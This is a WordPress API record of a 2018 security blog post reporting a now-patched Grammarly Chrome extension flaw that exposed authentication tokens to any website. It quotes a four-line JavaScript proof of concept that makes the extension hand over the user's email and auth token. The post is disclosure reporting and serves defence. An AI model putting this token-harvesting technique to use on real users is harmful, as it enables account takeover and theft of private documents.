{"id":5819,"date":"2018-02-05T16:08:08","date_gmt":"2018-02-05T21:08:08","guid":{"rendered":"https:\/\/www.thesslstore.com\/blog\/?p=5819"},"modified":"2020-12-09T16:10:44","modified_gmt":"2020-12-09T21:10:44","slug":"grammarly-vulnerability","status":"publish","type":"post","link":"https:\/\/www.thesslstore.com\/blog\/grammarly-vulnerability\/","title":{"rendered":"Grammarly Users Need to Update their Chrome Extensions Immediately"},"content":{"rendered":"<h2>A bug allows access to users&#8217; accounts &#8212; including private data and documents.<\/h2>\n<p>Grammarly has released a patch to fix a vulnerability that would have allowed websites to view your personal data and documents.<\/p>\n<p>A researcher at Google&#8217;s Project Zero, Tavis Ormandy, labeled the bug as high severity on account of the extension exposing authentication tokens to all websites.<span id=\"newline\"><\/span><\/p>\n<blockquote>\n<p class=\"issue_text\" tabindex=\"1\">The Grammarly Chrome extension (approx ~22M users) exposes it&#8217;s auth tokens to all websites, therefore any website can login to <a class=\"\" title=\"\" href=\"http:\/\/grammarly.com\/\" rel=\"nofollow\">grammarly.com<\/a> as you and access all your documents, history, logs, and all other data. I&#8217;m calling this a high severity bug, because it seems like a pretty severe violation of user expectations.<\/p>\n<\/blockquote>\n<p tabindex=\"1\">Ormandy provided a proof of concept the showed how the bug could be exploited with four lines of code.<\/p>\n<blockquote>\n<p class=\"issue_text\" tabindex=\"1\">&gt; document.body.contentEditable=true \/\/ Trigger grammarly<\/p>\n<p class=\"issue_text\" tabindex=\"1\">&gt; document.querySelector(&#8220;[data-action=editor]&#8221;).click() \/\/ Click the editor button<\/p>\n<p class=\"issue_text\" tabindex=\"1\">&gt; document.querySelector(&#8220;iframe.gr_-ifr&#8221;).contentWindow.addEventListener(&#8220;message&#8221;, function (a) {console.log(a.data.user.email, a.data.user.grauth); }) \/\/ log auth token and email<\/p>\n<p class=\"issue_text\" tabindex=\"1\">&gt; window.postMessage({grammarly: 1, action: &#8220;user&#8221; }, &#8220;*&#8221;) \/\/ Request user data<\/p>\n<\/blockquote>\n<p tabindex=\"1\">That produces a token that can then be used by anyone to log in to Grammarly as you.<\/p>\n<p tabindex=\"1\">Grammarly has over 22-million users, all of whom are vulnerable to this bug until they update their <a href=\"https:\/\/www.thesslstore.com\/blog\/install-a-chrome-extension-from-github\/\">Chrome extension<\/a>. That includes us at Hashed Out. It&#8217;s a good product and worth sticking with even despite this bug.<\/p>\n<p tabindex=\"1\">Ormandy published the bug report on Friday, subject to 90-day responsible disclosure guidelines. Grammarly release a patch earlier today.<\/p>\n<blockquote>\n<p class=\"issue_text\">Grammarly had fixed the issue and released an update to the Chrome Web Store within a few hours, a really impressive response time. I&#8217;ve verified that Mozilla now also has the update, so users should be auto-updated to the fixed version. I&#8217;m calling this issue fixed.<\/p>\n<\/blockquote>\n<p>So update your browser extensions!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A bug allows access to users&#8217; accounts &#8212; including private data and documents. Grammarly has released a patch to fix a vulnerability that would have allowed websites to view your&#8230;<\/p>\n","protected":false},"author":6,"featured_media":5821,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":"","tve_updated_post":"","tve_custom_css":"","tve_user_custom_css":"","tve_globals":{},"tcb2_ready":0,"tcb_editor_enabled":0,"tve_landing_page":"","_tve_header":"","_tve_footer":""},"categories":[16],"tags":[174],"class_list":["post-5819","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hashing-out-cyber-security","tag-vulnerabilities","post-with-tags"],"views":15408,"jetpack_featured_media_url":"https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2018\/02\/iStock-697469128.jpg","_links":{"self":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/posts\/5819","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/comments?post=5819"}],"version-history":[{"count":0,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/posts\/5819\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/media\/5821"}],"wp:attachment":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/media?parent=5819"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/categories?post=5819"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/tags?post=5819"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}